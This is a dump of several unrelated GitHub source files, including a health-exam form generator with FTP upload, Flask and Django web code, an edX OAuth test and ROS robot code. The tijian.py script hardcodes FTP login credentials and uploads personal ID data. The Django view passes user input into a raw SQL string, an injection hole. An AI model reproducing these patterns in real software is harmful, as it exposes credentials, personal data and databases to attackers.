'tijian.xlsx'\r\n \r\n file_tijian = os.path.join(self.__base_dir ,tijian_file_name)\r\n templete_file = os.path.join(self.__base_dir , 'template', tijian_file_name)\r\n\r\n if os.path.exists(file_tijian):\r\n os.remove(file_tijian)\r\n\r\n shutil.copy(templete_file, file_tijian)\r\n\r\n\r\n xls = easyExcel(file_tijian)\r\n try:\r\n for info in self.__infos:\r\n self.__write_excel(xls, info)\r\n except Exception as ex:\r\n print(\"出错了：\", ex) \r\n finally:\r\n xls.save() \r\n xls.close()\r\n\r\n def __write_html(self, strXml, info):\r\n name = info['name']\r\n sex = info['sex']\r\n id_card = info['id_card']\r\n id_num = info['id_num']\r\n\r\n tijian_file_name = 'tijian.html'\r\n \r\n file_tijian = os.path.join(self.__base_dir, id_card + \".html\")\r\n\r\n strXml = strXml.replace(\"{name}\", name).replace(\"{sex}\", sex).replace(\"{no}\", id_card).replace(\"{id}\", id_num)\r\n with open(file_tijian, mode='w', encoding='utf-8') as f:\r\n strXml = f.write(strXml)\r\n\r\n return (id_card + \".html\", file_tijian)\r\n\r\n def __read_html(self):\r\n tijian_file_name = 'tijian.html'\r\n \r\n templete_file = os.path.join(self.__base_dir, 'template', tijian_file_name)\r\n\r\n strXml = \"\"\r\n with open(templete_file, mode='r', encoding='utf-8') as f:\r\n strXml = f.read()\r\n\r\n return strXml\r\n \r\n def __upload_html_to_ftp(self, fileName, fullName):\r\n \r\n bufsize = 1024\r\n \r\n with open(fullName, 'rb') as fp:\r\n self.__ftp.storbinary('STOR ' + fileName, fp, bufsize)\r\n\r\n os.remove(fullName)\r\n \r\n \r\n def __ftp_connect(self):\r\n self.__ftp=FTP()\r\n self.__ftp.set_debuglevel(2) #打开调试级别2，显示详细信息\r\n self.__ftp.connect(\"103.235.102.128\") #连接的ftp sever和端口\r\n self.__ftp.login(\"24880b64b2\", \"jackly0909\")#连接的用户名，密码\r\n #print(ftp.getwelcome())\r\n\r\n \r\n \r\n lists = self.__ftp.nlst()\r\n if (self.__folder not in lists):\r\n self.__ftp.mkd(self.__folder)\r\n\r\n self.__ftp.cwd(self.__folder)\r\n\r\n def __ftp_close(self):\r\n self.__ftp.close()\r\n\r\n def start_send_ftp(self):\r\n \r\n strXml = self.__read_html()\r\n\r\n #批量生成html 文件, 上传到ftp\r\n try:\r\n self.__ftp_connect()\r\n for info in self.__infos:\r\n file_name, full_name = self.__write_html(strXml, info)\r\n self.__upload_html_to_ftp(file_name, full_name)\r\n except Exception as ex:\r\n print(\"上传ftp出错：\", ex)\r\n finally:\r\n self.__ftp_close()\r\n \r\n \r\n def start_generate_qrcode(self):\r\n for info in self.__infos:\r\n id_card = info['id_card']\r\n url = \"http://www.588worker.cn/\" + self.__folder + \"/\" + id_card + \".html\"\r\n q=qrcode.main.QRCode()\r\n q.add_data(url)\r\n m=q.make_image()\r\n m.save(\"hello.png\")\r\n break\r\n\r\n\r\ndef calculate_pwd(pwd):\r\n now = time.localtime()\r\n #date_string = \"2019-05-06\"\r\n #now = time.strptime(date_string, \"%Y-%m-%d\")\r\n\r\n date = time.strftime(\"%m%d\", now)\r\n first = int(date) * int(date[::-1])\r\n second = int(time.strftime(\"%Y%m%d\", now))\r\n\r\n sub = str(abs(first - second))\r\n if (pwd == sub):\r\n return True\r\n \r\n return False\r\n\r\n# pwd = input(\"请输入密码：\")\r\n# while(not calculate_pwd(pwd)):\r\n# pwd = input(\"密码输入错误， 请重新输入密码：\")\r\ntijiandan = tijiandan()\r\ntijiandan.start_generate_qrcode()\r\n\r\nprint(\"登入成功......\")\r\nprint(\"开始生成二维码................\")\r\n#yuyue_file = os.path.join(base_dir, 'yuyue.xls')\r\n#infos = read_excel('yuyue.xls')\r\n#start_generate_qrcode(infos)\r\nprint(\"二维码生成结束................\")\r\nprint(\"开始生成体检单................\")\r\n#start_export(infos)\r\nprint(\"体检单生成完毕................\")\r\n#x = input(\"按任意键退出\")\r\n","repo_name":"geniuscynic/study","sub_path":"python/youda/tijian.py","file_name":"tijian.py","file_ext":"py","file_size_in_byte":10478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"13006123742","text":"from flask_sqlalchemy import SQLAlchemy\nfrom sqlalchemy.sql import func, asc, desc\nimport datetime\nfrom sqlalchemy import asc, desc\n\n\"\"\"Models for Blogly.\"\"\"\n\ndb = SQLAlchemy()\n\n\ndef connect_db(app):\n db.app = app\n db.init_app(app)\n\n\nclass User(db.Model):\n \"\"\"User\"\"\"\n __tablename__ = 'users'\n\n def __repr__(self):\n \"\"\"Show information about user\"\"\"\n return f''\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n first_name = db.Column(db.String(50), nullable=False)\n last_name = db.Column(db.String(50), nullable=False)\n image_url = db.Column(db.String, nullable=False,\n default='https://randomuser.me/api/portraits/lego/1.jpg')\n\n @property\n def full_name(self):\n return f'{self.first_name} {self.last_name}'\n\n\nclass Post(db.Model):\n \"\"\"Post\"\"\"\n __tablename__ = 'posts'\n\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n title = db.Column(db.String(50), nullable=False)\n content = db.Column(db.String(5000), nullable=False, default=None)\n created_at = db.Column(db.DateTime(timezone=True),\n default=datetime.datetime.now)\n user_id = db.Column(db.Integer, db.ForeignKey(\n 'users.id', onupdate='CASCADE', ondelete='CASCADE'))\n\n user = db.relationship('User', backref='posts')\n tags = db.relationship('Tag', secondary='posts_tags', backref='posts')\n\n def __repr__(self):\n \"\"\"Show information about Post\"\"\"\n return f''\n\n @ property\n def date(self):\n return self.created_at.strftime(\"%a %b %-d %Y, %-I:%M %p\")\n\n\nclass Tag(db.Model):\n \"\"\"Tag\"\"\"\n __tablename__ = 'tags'\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n name = db.Column(db.String(50), nullable=False, unique=True)\n\n\nclass PostTag(db.Model):\n \"\"\"Tags on Posts\"\"\"\n __tablename__ = 'posts_tags'\n post_id = db.Column(db.Integer, db.ForeignKey(\n 'posts.id', onupdate='CASCADE', ondelete='CASCADE'), primary_key=True)\n tag_id = db.Column(db.Integer, db.ForeignKey('tags.id', onupdate='CASCADE', ondelete='CASCADE'), primary_key=True)\n","repo_name":"philipbrowne/Blogly","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"24742795423","text":"class Solution(object):\n def numDecodings(self, s):\n \"\"\"\n :type s: str\n :rtype: int\n \"\"\"\n size = len(s)\n cache= [None] * (len(s)+1)\n cache[-1]= 1\n cache[-2]= 0 if s[-1]=='0' else 1\n\n # def helper(n):\n # \"\"\"\n # Top-down DP with recursive helper\n # \"\"\"\n # if cache[n]:\n # return cache[n]\n\n # if s[n] == '0':\n # cache[n] = 0\n # return 0\n\n # if s[n]=='1' or (s[n]=='2' and s[n+1]<'7'):\n # cache[n] = helper(n+1) + helper(n+2)\n # return cache[n]\n\n # cache[n] = helper(n+1)\n # return cache[n]\n\n # bottom-up DP with for-loop\n for i in range(len(s)-2, -1, -1):\n if s[i]=='0':\n cache[i] = 0\n\n elif s[i]=='1' or (s[i]=='2' and s[i+1]<'7'):\n cache[i] = cache[i+1] + cache[i+2]\n\n else:\n cache[i] = cache[i+1]\n\n return cache[0]\n","repo_name":"sl33pingmathrapt0r/LeetCode.et.al","sub_path":"1-D Dynamic Programming/Decode_Ways.py","file_name":"Decode_Ways.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74126044242","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\nfrom .models import Patents\n\ndef get_data(request):\n if request.method == 'POST':\n searched = request.POST['searched']\n print(searched)\n patents = Patents.objects.raw(\"SELECT id, patent_id FROM patents WHERE MATCH(patent_name) AGAINST ('%s' IN NATURAL LANGUAGE MODE)\" %searched)\n return render(request, 'search-patents.html', {'patents': patents})\n else:\n return render(request, 'search-patents.html')\n","repo_name":"KatyaKalache/technext","sub_path":"website/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"12614483883","text":"\"\"\" Tests for OAuth 2.0 client credentials support. \"\"\"\n\n\nimport json\nimport unittest\n\nfrom django.conf import settings\nfrom django.test import TestCase\nfrom django.urls import reverse\nfrom oauth2_provider.models import Application\n\nfrom common.djangoapps.student.tests.factories import UserFactory\n\nfrom ..adapters import DOTAdapter\nfrom . import mixins\nfrom .constants import DUMMY_REDIRECT_URL\n\n\n@unittest.skipUnless(settings.FEATURES.get(\"ENABLE_OAUTH2_PROVIDER\"), \"OAuth2 not enabled\")\nclass ClientCredentialsTest(mixins.AccessTokenMixin, TestCase):\n \"\"\" Tests validating the client credentials grant behavior. \"\"\"\n\n def setUp(self):\n super().setUp()\n self.user = UserFactory()\n\n def test_jwt_access_token(self):\n \"\"\" Verify the client credentials grant can be used to obtain a JWT access token. \"\"\"\n application = DOTAdapter().create_confidential_client(\n name='test dot application',\n user=self.user,\n authorization_grant_type=Application.GRANT_CLIENT_CREDENTIALS,\n redirect_uri=DUMMY_REDIRECT_URL,\n client_id='dot-app-client-id',\n )\n scopes = ['read', 'write', 'email']\n data = {\n 'grant_type': 'client_credentials',\n 'client_id': application.client_id,\n 'client_secret': application.client_secret,\n 'scope': ' '.join(scopes),\n 'token_type': 'jwt'\n }\n\n response = self.client.post(reverse('access_token'), data)\n assert response.status_code == 200\n\n content = json.loads(response.content.decode('utf-8'))\n access_token = content['access_token']\n assert content['scope'] == data['scope']\n self.assert_valid_jwt_access_token(access_token, self.user, scopes, grant_type='client-credentials')\n","repo_name":"openedx/edx-platform","sub_path":"openedx/core/djangoapps/oauth_dispatch/tests/test_client_credentials.py","file_name":"test_client_credentials.py","file_ext":"py","file_size_in_byte":1814,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"4989275543","text":"import glob\nimport json\n\nif __name__ == '__main__':\n # files = glob.glob('others\\\\papers_time_series\\\\papers_time_series*2.json')\n # twitter_dict = dict()\n # for file in files:\n # content = open(file, 'r')\n # content_json = json.load(content)\n # for doi, series in content_json.items():\n # for _, series1 in series.items():\n # tweets = series1['twitter']['elements']\n # twitter_data = []\n # for tweet in tweets:\n # twitter_data.append(tweet['event_time'])\n # twitter_dict[doi] = twitter_data\n #\n # with open('twitter_data.json', 'w') as outfile:\n # json.dump(twitter_dict, outfile)\n data = open('twitter_data.json', 'r')\n twitter_data = json.load(data)\n count = 0\n total = 0\n for doi, tweets in twitter_data.items():\n total += 1\n if len(tweets) >= 1:\n count += 1\n print('count', count)\n print('total', total)","repo_name":"carolmb/viewing-profiles-of-scientific-articles","sub_path":"extra/twitter_analysis.py","file_name":"twitter_analysis.py","file_ext":"py","file_size_in_byte":987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"1677247929","text":"import os\nimport utils\nimport async_lru\nfrom aiohttp import web\n\n\nroutes = web.RouteTableDef()\n\n\n@routes.view('/products/{id_}')\nclass RetailView(web.View):\n\n async def get(self):\n \"\"\"Get Product Details using Id\n\n Returns:\n _type_: Http Respons Json File\n \"\"\"\n id_ = self.request.match_info.get('id_', None)\n return web.json_response(await self.get_resp(id_))\n\n async def put(self):\n id_ = self.request.match_info.get('id_', None)\n body = await self.request.json()\n return web.Response(text=await self.put_req(id_, body))\n\n @async_lru.alru_cache\n async def get_resp(self, id_):\n \"\"\"Combine the response from myretail api and \n Mongo db. \n\n Args:\n id_ (_type_): Product id (str)\n\n Returns:\n _type_: Combined Json with Product and price info\n \"\"\"\n dct_resp_api = await utils.request_url(os.environ.get('PRODUCT_URL', '{}').format(id_))\n obj_mongo = utils.MongoWrapper()\n await obj_mongo.create_connection()\n dct_resp_mongo = await obj_mongo.get_item(id_)\n dct_resp = { **{'id': id_}, **dct_resp_api, **dct_resp_mongo}\n return dct_resp\n\n async def put_req(self, id_, body):\n \"\"\"Update the Product price if product exists in the mongodb\n\n Args:\n id_ (_type_): Product Id(str)\n body (_type_): Json with Product price and currency code\n\n Returns:\n _type_: _description_\n \"\"\"\n obj_mongo = utils.MongoWrapper()\n \n await obj_mongo.create_connection()\n # Payload to update the product price\n # If the Id is not present in the db nothing will be updated\n payload = {\"$set\": {'value': body['value'],\n 'currency_code': body['currency_code']}}\n await obj_mongo.update_item(id_, payload)\n self.get_resp.cache_clear()\n return 'Update Applied'\n\n\napp = web.Application()\napp.add_routes(routes)\nweb.run_app(app)\n","repo_name":"arjuncreativo/RetailInc","sub_path":"product_details.py","file_name":"product_details.py","file_ext":"py","file_size_in_byte":2020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34628445888","text":"import hashlib\nfrom typing import Callable, Optional\n\nfrom starlette.requests import Request\nfrom starlette.responses import Response\n\n\ndef default_key_builder(\n func: Callable,\n namespace: Optional[str] = \"\",\n request: Optional[Request] = None,\n response: Optional[Response] = None,\n args: Optional[tuple] = None,\n kwargs: Optional[dict] = None,\n) -> str:\n from fastapi_cache import FastAPICache\n\n prefix = f\"{FastAPICache.get_prefix()}:{namespace}:\"\n cache_key = (\n prefix\n + hashlib.md5( # nosec:B303\n f\"{func.__module__}:{func.__name__}:{args}:{kwargs}\".encode()\n ).hexdigest()\n )\n return cache_key\n","repo_name":"BM021/Marketing_app","sub_path":"venv/lib/python3.10/site-packages/fastapi_cache/key_builder.py","file_name":"key_builder.py","file_ext":"py","file_size_in_byte":669,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"40093651644","text":"import torch\nfrom torch_geometric.nn import MessagePassing\nfrom torch_geometric.nn import global_add_pool, global_mean_pool, global_max_pool, GlobalAttention, Set2Set\nimport torch.nn.functional as F\nfrom torch.nn import Linear, ReLU, ModuleList, Parameter\nfrom torch_geometric.nn.inits import uniform\n\nfrom Models.conv import GNN_node, GNN_node_Virtualnode\n\nfrom torch_scatter import scatter_mean\n\nclass GNN(torch.nn.Module):\n\n def __init__(self, num_classes, num_tasks, num_layer = 5, emb_dim = 300, \n gnn_type = 'gin', virtual_node = True, residual = False, drop_ratio = 0.5, JK = \"last\", graph_pooling = \"mean\",\n node_encoder = lambda x: x, edge_encoder = lambda x: x, use_node_encoder = True, graph_features = 0, num_mlp_layers = 1):\n '''\n num_tasks (int): number of labels to be predicted\n virtual_node (bool): whether to add virtual node or not\n '''\n\n super(GNN, self).__init__()\n \n print(\"Old GNN implementation.\")\n\n self.num_layer = num_layer\n self.drop_ratio = drop_ratio\n self.JK = JK\n self.emb_dim = emb_dim\n self.num_tasks = num_tasks\n self.graph_pooling = graph_pooling\n self.num_classes = num_classes\n self.num_tasks = num_tasks\n self.use_node_encoder = use_node_encoder\n self.graph_features = graph_features\n self.num_mlp_layers = num_mlp_layers\n \n if self.num_layer < 1:\n raise ValueError(\"Number of GNN layers must be at least 1.\")\n\n ### GNN to generate node embeddings\n if virtual_node:\n self.gnn_node = GNN_node_Virtualnode(num_layer, emb_dim, JK = JK, drop_ratio = drop_ratio, residual = residual, gnn_type = gnn_type, node_encoder=node_encoder, edge_encoder=edge_encoder)\n else:\n self.gnn_node = GNN_node(num_layer, emb_dim, JK = JK, drop_ratio = drop_ratio, residual = residual, gnn_type = gnn_type, node_encoder=node_encoder, edge_encoder=edge_encoder)\n\n self.set_mlp(graph_features)\n\n ### Pooling function to generate whole-graph embeddings\n print(f\"graph_pooling: {graph_pooling}\")\n if self.graph_pooling == \"sum\":\n self.pool = global_add_pool\n elif self.graph_pooling == \"mean\":\n self.pool = global_mean_pool\n elif self.graph_pooling == \"max\":\n self.pool = global_max_pool\n elif self.graph_pooling == \"attention\":\n self.pool = GlobalAttention(gate_nn = torch.nn.Sequential(torch.nn.Linear(emb_dim, 2*emb_dim), torch.nn.BatchNorm1d(2*emb_dim), torch.nn.ReLU(), torch.nn.Linear(2*emb_dim, 1)))\n\n def forward(self, batched_data):\n h_node = self.gnn_node(batched_data)\n\n h_graph = self.pool(h_node, batched_data.batch)\n\n # Attach graph level features\n if self.graph_features > 0:\n h_graph = torch.cat([h_graph, batched_data.graph_features[:, 0:self.graph_features]], dim=1)\n\n h_graph = h_graph\n for layer in self.mlp:\n h_graph = layer(h_graph)\n\n if self.num_tasks == 1:\n h_graph = h_graph.view(-1, self.num_classes)\n else:\n h_graph.view(-1, self.num_tasks, self.num_classes)\n return h_graph\n\n def freeze_gnn(self, freeze = True):\n # Frezze GNN layers to allow us to tune the MLP separately\n for param in self.gnn_node.parameters():\n param.requires_grad = False\n\n def set_mlp(self, graph_features = 0, copy_emb_weights = False):\n self.graph_features = graph_features\n hidden_size = self.emb_dim // 2\n new_mlp = ModuleList([])\n new_mlp.requires_grad = False\n\n \n for i in range(self.num_mlp_layers):\n in_size = hidden_size if i > 0 else self.emb_dim + graph_features\n out_size = hidden_size if i < self.num_mlp_layers - 1 else self.num_classes*self.num_tasks\n\n new_linear_layer = Linear(in_size, out_size)\n\n if copy_emb_weights:\n copy_len = self.emb_dim if i == 0 else hidden_size\n\n new_linear_layer.weight.requires_grad = False\n new_linear_layer.weight[:, 0:copy_len] = self.mlp[2*i].weight[:, 0:copy_len].detach().clone()\n new_linear_layer.weight.requires_grad = True\n\n new_linear_layer.bias.requires_grad = False\n new_linear_layer.bias = Parameter(self.mlp[2*i].bias.detach().clone())\n new_linear_layer.bias.requires_grad = True\n\n new_mlp.append(new_linear_layer)\n\n if self.num_mlp_layers > 0 and i < self.num_mlp_layers - 1:\n new_mlp.append(ReLU())\n\n new_mlp.requires_grad = True\n self.mlp = new_mlp\n\nif __name__ == '__main__':\n GNN(num_tasks = 10)","repo_name":"ocatias/BasicGNNProject","sub_path":"Models/gnn.py","file_name":"gnn.py","file_ext":"py","file_size_in_byte":4794,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"3"} +{"seq_id":"27057301083","text":"\"\"\"Environment variable management.\"\"\"\nfrom dataclasses import dataclass\nfrom typing import List\n\nfrom click import Context\nfrom typer.main import get_command\n\nfrom tradeexecutor.cli.main import app\n\n\n@dataclass\nclass EnvVarDescription:\n name: str\n help: str\n type: str\n\n\ndef get_available_env_vars() -> List[EnvVarDescription]:\n \"\"\"Get list of environment variable configuration options for trade-executor.\n\n :return:\n List of environment variable names\n \"\"\"\n command = get_command(app)\n start = command.commands[\"start\"]\n ctx = Context(start)\n params = start.get_params(ctx)\n result = []\n for p in params:\n envvar = p.envvar\n if envvar:\n # Option --help does not have envvar, etc.\n result.append(\n EnvVarDescription(\n envvar,\n p.help,\n p.cause,\n )\n )\n\n return result\n","repo_name":"tradingstrategy-ai/trade-executor","sub_path":"tradeexecutor/cli/env.py","file_name":"env.py","file_ext":"py","file_size_in_byte":949,"program_lang":"python","lang":"en","doc_type":"code","stars":66,"dataset":"github-code","pt":"3"} +{"seq_id":"74125911122","text":"#!/usr/bin/env python3\n\"\"\"\nCreate a class Binomial that represents a binomial distribution\n\"\"\"\nimport numpy as np\n\nclass Binomial:\n \"\"\"\n Sets the instance attributes n and p\n \"\"\"\n def __init__(self, data=None, n=1, p=0.5):\n \"\"\"\n Class constructor\n \"\"\"\n if data is not None:\n n = int(len(data) / 2)\n q = 1 - p\n for x in data:\n p += np.power(p,x)*np.power(q,n-x)\n self.n = n\n self.p = p\n","repo_name":"KatyaKalache/holbertonschool-machine_learning","sub_path":"math/0x03-probability/binomial.py","file_name":"binomial.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"} +{"seq_id":"8759030622","text":"import json\nimport logging\nimport re\nimport sys\nfrom collections import OrderedDict\nfrom copy import deepcopy\nfrom functools import lru_cache\nfrom typing import TYPE_CHECKING, Optional\n\nfrom scripts.shell_explorer.entities import Package, Release, Shell1G, Shell2G, ShellL1\nfrom scripts.shell_explorer.helpers import (\n PyVersion,\n get_package_python_version,\n get_str_from_git_content,\n)\nfrom scripts.shell_explorer.operations import RepoOperations, SerializationOperations\n\nif TYPE_CHECKING:\n from github import Repository\n from github.GitRelease import GitRelease\n\n\nlogging.basicConfig(\n level=logging.INFO,\n stream=sys.stdout,\n format=(\n \"%(asctime)s [%(levelname)s]: %(name)s %(module)s - %(funcName)-20s %(message)s\"\n ),\n)\n\n\nclass ShellExplorer:\n class CONFIG:\n EXPLORE_ORG = \"Quali\"\n WORKING_REPO = \"Shell-Explorer\"\n SHELLS_FILE = \"shells.yaml\"\n PACKAGES_FILE = \"packages.yaml\"\n EXPLORE_RELEASES_DEPTH = 5\n\n class CONST:\n SHELL_L1_FILES = {\"main.py\"}\n SHELL_1G_FILES = {\"shell.yml\", \"deployment.xml\"}\n SHELL_2G_FILES = {\"shell-definition.yaml\"}\n PACKAGE_FILES = {\"setup.py\"}\n NAME_PATTERN_L1 = re.compile(r\"cloudshell-L1-.+\", re.IGNORECASE)\n NAME_PATTERN_1G = re.compile(r\".*shell.*\", re.IGNORECASE)\n NAME_PATTERN_2G = re.compile(r\".*2G.*\", re.IGNORECASE)\n NAME_PATTERN_PACKAGE = re.compile(\n r\"(cloudshell-.+|^shellfoundry$)\", re.IGNORECASE\n )\n METADATA_FILE = \"/src/drivermetadata.xml\"\n SETUP_PY = \"setup.py\"\n PY_VER_PATTERN = re.compile(r\"PythonVersion=(.+)\\s\")\n\n class VALUES:\n PYTHON_VERSION_2 = \"PY2\"\n PYTHON_VERSION_3 = \"PY3\"\n\n def __init__(self, auth_key, branch, new_releases):\n self.branch = branch\n self.new_releases: dict[str, list[int]] = json.loads(new_releases)\n self.repo_operations = RepoOperations(\n auth_key, self.CONFIG.EXPLORE_ORG, self.CONFIG.WORKING_REPO\n )\n self._repo_type_dict = OrderedDict(\n [\n (Package, self._is_it_a_package),\n (ShellL1, self.is_it_l1_shell),\n (Shell2G, self.is_it_2g_shell),\n (Shell1G, self.is_it_1g_shell),\n ]\n )\n\n @property\n @lru_cache\n def _repo_shells(self):\n content = self.repo_operations.get_working_content(\n self.branch, self.CONFIG.SHELLS_FILE\n )\n return set(SerializationOperations.load_table(content))\n\n @property\n @lru_cache\n def _shells(self):\n return deepcopy(self._repo_shells)\n\n @property\n @lru_cache\n def _shells_dict(self):\n return {repo.name: repo for repo in self._shells}\n\n @property\n @lru_cache\n def _repo_packages(self):\n content = self.repo_operations.get_working_content(\n self.branch, self.CONFIG.PACKAGES_FILE\n )\n return set(SerializationOperations.load_table(content))\n\n @property\n @lru_cache\n def _packages(self):\n return deepcopy(self._repo_packages)\n\n @property\n @lru_cache\n def _packages_dict(self):\n return {repo.name: repo for repo in self._packages}\n\n def _match_by_content(self, content, file_list):\n if content.intersection(file_list) == file_list:\n return True\n\n def _match_by_name(self, pattern, name):\n return re.match(pattern, name)\n\n def _is_it_a_package(self, content, name):\n return self._match_by_name(\n self.CONST.NAME_PATTERN_PACKAGE, name\n ) and self._match_by_content(content, self.CONST.PACKAGE_FILES)\n\n def is_it_1g_shell(self, content, name):\n return self._match_by_name(\n self.CONST.NAME_PATTERN_1G, name\n ) or self._match_by_content(content, self.CONST.SHELL_1G_FILES)\n\n def is_it_2g_shell(self, content, name):\n return self._match_by_content(\n content, self.CONST.SHELL_2G_FILES\n ) or self._match_by_name(self.CONST.NAME_PATTERN_2G, name)\n\n def is_it_l1_shell(self, content, name):\n return self._match_by_name(\n self.CONST.NAME_PATTERN_L1, name\n ) and self._match_by_content(content, self.CONST.SHELL_L1_FILES)\n\n def _py3_ver_by_metadata(self, git_repo, release) -> bool:\n try:\n content = git_repo.get_contents(self.CONST.METADATA_FILE, release.tag_name)\n content = get_str_from_git_content(content)\n match = re.search(self.CONST.PY_VER_PATTERN, content)\n except Exception:\n result = False\n else:\n result = bool(match)\n return result\n\n def _get_shell_py_version(self, git_repo, release) -> \"PyVersion\":\n if self._py3_ver_by_metadata(git_repo, release):\n version = PyVersion.PY3\n else:\n version = PyVersion.PY2\n return version\n\n def _get_package_py_version(self, git_repo, release) -> \"PyVersion\":\n content = git_repo.get_contents(self.CONST.SETUP_PY, release.tag_name)\n content = get_str_from_git_content(content)\n return get_package_python_version(content)\n\n def _filter_releases_by_py_ver(\n self, git_repo, releases, existing_releases, is_package: bool\n ):\n existing_releases = list(filter(lambda r: r in releases, existing_releases))\n version_dict = {r.python_version: r for r in existing_releases}\n for release in releases:\n if release not in existing_releases:\n if is_package:\n py_version = self._get_package_py_version(git_repo, release)\n else:\n py_version = self._get_shell_py_version(git_repo, release)\n release.python_version = py_version.value\n if release.python_version:\n ex_rel = version_dict.get(release.python_version)\n if not ex_rel or release > ex_rel:\n version_dict[release.python_version] = release\n else:\n break\n\n sorted_releases = sorted(version_dict.values(), reverse=True)\n logging.info(f\"New releases: {sorted_releases}\")\n return sorted_releases\n\n def _repo_releases(\n self, repo: \"Repository\", release_ids: Optional[list[str]]\n ) -> list[Release]:\n if not release_ids:\n releases = [r for r in repo.get_releases() if r.published_at]\n releases = releases[: self.CONFIG.EXPLORE_RELEASES_DEPTH]\n else:\n releases = list(map(repo.get_release, release_ids))\n return [\n self._create_release_object(r)\n for r in sorted(releases, key=lambda: r.published_at, reverse=True)\n ]\n\n def _create_release_object(self, git_release: \"GitRelease\") -> Optional[\"Release\"]:\n if git_release:\n return Release(\n git_release.title,\n git_release.tag_name,\n git_release.published_at,\n git_release.html_url,\n )\n\n def _extract_existing_repo(self, repo):\n return self._shells_dict.get(repo.name, self._packages_dict.get(repo.name))\n\n def _explore_repo(\n self, repo: \"Repository\", release_ids: Optional[list[int]] = None\n ):\n logging.info(f\"Explore {repo.name}\")\n repo_object = self._extract_existing_repo(repo)\n releases = self._repo_releases(repo, release_ids)\n if not repo_object and releases:\n content = {c.name for c in repo.get_contents(\"\")}\n repo_name = repo.name\n for repo_class, check_func in self._repo_type_dict.items():\n if check_func(content, repo_name):\n repo_object = repo_class(repo_name, repo.html_url)\n logging.info(f\"Added {repo_object}\")\n break\n if not repo_object or not releases:\n return\n\n is_package = isinstance(repo_object, Package)\n if releases[0] not in repo_object.releases:\n repo_object.releases = self._filter_releases_by_py_ver(\n repo, releases, repo_object.releases, is_package\n )\n if is_package:\n self._packages.add(repo_object)\n else:\n self._shells.add(repo_object)\n\n def _explore_releases(self):\n if not self.new_releases:\n for repo in self.repo_operations.get_org_repos():\n self._explore_repo(repo)\n else:\n for repo_name, release_ids in self.new_releases.items():\n repo = self.repo_operations.get_org_repo(repo_name)\n self._explore_repo(repo, release_ids)\n\n def scan_and_commit(self):\n self._explore_releases()\n self.repo_operations.commit_if_changed(\n SerializationOperations.dump_table(sorted(self._shells)),\n self.CONFIG.SHELLS_FILE,\n self.branch,\n )\n self.repo_operations.commit_if_changed(\n SerializationOperations.dump_table(sorted(self._packages)),\n self.CONFIG.PACKAGES_FILE,\n self.branch,\n )\n","repo_name":"QualiSystems/Shell-Explorer","sub_path":"scripts/shell_explorer/shell_explorer.py","file_name":"shell_explorer.py","file_ext":"py","file_size_in_byte":9112,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34631579904","text":"#!/usr/bin/env python2.7\n\nimport rospy\nimport tf\nimport time\nimport sys, os\nfrom std_msgs.msg import Bool\nfrom geometry_msgs.msg import PoseStamped, PointStamped\nfrom actionlib_msgs.msg import GoalStatusArray\nfrom move_base_msgs.msg import MoveBaseActionFeedback\nfrom numpy import remainder as rem\nimport numpy as np\nfrom rps_msgs.msg import floatlist\nfrom math import floor, ceil\nimport json\nfrom rps_planning.srv import *\n\nproject_dir = os.path.abspath(__file__ + \"/../../resource\") \nPI = 3.1415926 \n\nclass Husky:\n\n def __init__(self, uav0, uav1, uav2, uav3):\n self.UAV_has_landed = True # landing flag for all UAVs\n self.UAV_has_landed_0 = False # flag for UAV 0\n self.UAV_has_landed_1 = False # flag for UAV 1\n self.UAV_has_landed_2 = False # flag for UAV 2\n self.UAV_has_landed_3 = False # flag for UAV 3\n self.UGV_has_arrived = True # goal-reaching flag for UGV\n self.UGV_has_arrived_next = False # auxiliary Goal-reaching flag for UGV\n self.husky_c_orien = [] # real-time orientation of UGV\n self.husky_c_pst = [] # real-time position of UGV\n self.sensing_range = 5.5 # sensing range of the laser\n self.msg2UAV = floatlist() # message to UAVs\n self.max_duration = rospy.get_rostime() - rospy.get_rostime() # maximum UAV flying duration\n self.has_updated = False # true if UGV has started updated information about obstacles\n self.unknown_options = [] # list of locations about which the UGV has no knowledge\n self.known_options = [] # list of non-obstacle locations known to the UGV\n self.known_obstacle = []# list of obstacles known to the UGV\n self.obstacles = [] # list of all obstacles\n self.goal=[] # (x,y) goal of the UGV\n self.period = 1200 # supercycle period\n self.ugv_idx = [] # ugv index 0,1,2,...,Num_ugv-1\n self.x_offset = 0\n self.y_offset = 0\n\n # goal topic for UGV\n self.husky_target_pub = rospy.Publisher('move_base_simple/goal', \\\n PoseStamped, queue_size=10)\n\n # message topic from UGV to UAV\n self.cmd2UAV_pub = rospy.Publisher('cmd2UAV', floatlist, queue_size=10)\n\n # message topic from UAV0 to UGV\n self.cmd2UGV_sub_0 = rospy.Subscriber('/hummingbird' + uav0 + '/cmd2UGV',\\\n Bool, self.cmd2UGV_callback_0)\n \n # message topic from UAV1 to UGV\n self.cmd2UGV_sub_1 = rospy.Subscriber('/hummingbird' + uav1 + '/cmd2UGV',\\\n Bool, self.cmd2UGV_callback_1)\n\n # message topic from UAV2 to UGV\n self.cmd2UGV_sub_2 = rospy.Subscriber('/hummingbird' + 